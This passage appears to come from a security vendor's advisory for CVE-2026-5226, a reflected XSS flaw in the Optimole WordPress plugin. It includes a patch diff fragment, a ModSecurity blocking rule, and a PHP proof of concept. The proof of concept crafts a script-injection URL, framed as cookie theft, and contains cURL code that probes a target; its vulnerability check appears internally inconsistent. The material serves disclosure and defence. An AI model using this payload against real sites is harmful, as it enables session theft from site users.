+		$file = trailingslashit( $path ) . $migration_name . '.php';
+
+		if ( ! is_file( $file ) ) {
+			return false;
+		}
+
+		try {
+			$migration = require $file;
+
+			if ( ! ( $migration instanceof Abstract_Migration ) ) {
+				return false;
+			}
+
+			$migration->down();
+			update_option( $option_key, array_values( array_diff( $ran, array( $migration_name ) ) ) );
+
+			return true;
+		} catch ( Throwable $e ) {
+			// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
+			error_log( 'ThemeIsle SDK Migrator: failed to roll back ' . $migration_name . ': ' . $e->getMessage() );
+
+			return false;
+		}
+	}
+
+	/**
+	 * Get the migrations directory path for the current product.
+	 *
+	 * Products register their path via the `{slug}_sdk_migrations_path` filter.
+	 *
+	 * @return string Absolute path to the migrations directory, or empty string.
+	 */
+	private function get_migrations_path() {
+		return (string) apply_filters( $this->product->get_slug() . '_sdk_migrations_path', '' );
+	}
+}
--- a/optimole-wp/vendor/codeinwp/themeisle-sdk/start.php
+++ b/optimole-wp/vendor/codeinwp/themeisle-sdk/start.php
@@ -41,6 +41,8 @@
 	$themeisle_library_path . '/src/Modules/Announcements.php',
 	$themeisle_library_path . '/src/Modules/Featured_plugins.php',
 	$themeisle_library_path . '/src/Modules/Float_widget.php',
+	$themeisle_library_path . '/src/Modules/Abstract_Migration.php',
+	$themeisle_library_path . '/src/Modules/Migrator.php',
 ];

 $files_to_load = array_merge( $files_to_load, apply_filters( 'themeisle_sdk_required_files', [] ) );
--- a/optimole-wp/vendor/composer/installed.php
+++ b/optimole-wp/vendor/composer/installed.php
@@ -29,9 +29,9 @@
             'dev_requirement' => false,
         ),
         'codeinwp/themeisle-sdk' => array(
-            'pretty_version' => '3.3.50',
-            'version' => '3.3.50.0',
-            'reference' => '3c1f8dfc2390e667bbc086c5d660900a7985efa6',
+            'pretty_version' => '3.3.51',
+            'version' => '3.3.51.0',
+            'reference' => 'bb2a8414b0418b18c68c9ff1df3d7fb10467928d',
             'type' => 'library',
             'install_path' => __DIR__ . '/../codeinwp/themeisle-sdk',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-5226
# Blocks reflected XSS via Optimole page profiler URL
# Targets the specific vulnerability in get_current_url() function
SecRule REQUEST_URI "@rx ^/wp-content/plugins/optimole-wp/" 
  "id:20265226,phase:2,deny,status:403,chain,msg:'CVE-2026-5226 XSS via Optimole page profiler URL',severity:'CRITICAL',tag:'CVE-2026-5226',tag:'WordPress',tag:'Optimole',tag:'XSS'"
  SecRule REQUEST_URI "@rx <script" 
    "t:lowercase,t:urlDecodeUni,t:removeNulls,t:removeWhitespace"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5226 - Optimole <= 4.2.3 - Reflected Cross-Site Scripting via Page Profiler URL

<?php
/**
 * Proof of Concept for CVE-2026-5226
 * Reflected XSS in Optimole WordPress plugin via page profiler URL
 * 
 * This script demonstrates the vulnerability by crafting a malicious URL
 * that injects JavaScript payload when visited by an authenticated user.
 */

// Configuration
$target_url = 'https://vulnerable-wordpress-site.com/';

// JavaScript payload to execute (example: steal session cookies)
$payload = '"><script>alert(document.cookie)</script>';

// Construct the malicious URL with XSS payload
// The payload is placed in the URL path which will be processed by get_current_url()
$malicious_url = $target_url . $payload;

// Display the exploit URL
echo "Atomic Edge CVE-2026-5226 Proof of Conceptn";
echo "============================================nn";
echo "Target: " . $target_url . "n";
echo "Vulnerable Plugin: Optimole <= 4.2.3n";
echo "nMalicious URL for victim:n";
echo $malicious_url . "nn";

echo "Attack Vector:n";
echo "1. Attacker crafts URL with JavaScript payload in pathn";
echo "2. Victim clicks the link while authenticated on WordPress siten";
echo "3. Optimole plugin processes the URL via get_current_url() functionn";
echo "4. URL is inserted into JavaScript without proper escapingn";
echo "5. Payload executes in victim's browser contextnn";

// Optional: Test with cURL to verify the site is vulnerable
if (isset($_GET['test'])) {
    echo "Testing vulnerability with cURL...n";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $malicious_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 Atomic Edge Security Test');
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    if ($http_code == 200) {
        // Check if the payload appears in the response without proper escaping
        if (strpos($response, $payload) !== false && strpos($response, '"><script>') === false) {
            echo "VULNERABLE: Payload found in response without proper HTML entity escapingn";
        } else {
            echo "POTENTIALLY PATCHED: Payload not found or properly escapedn";
        }
    } else {
        echo "HTTP Error: " . $http_code . "n";
    }
    
    curl_close($ch);
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School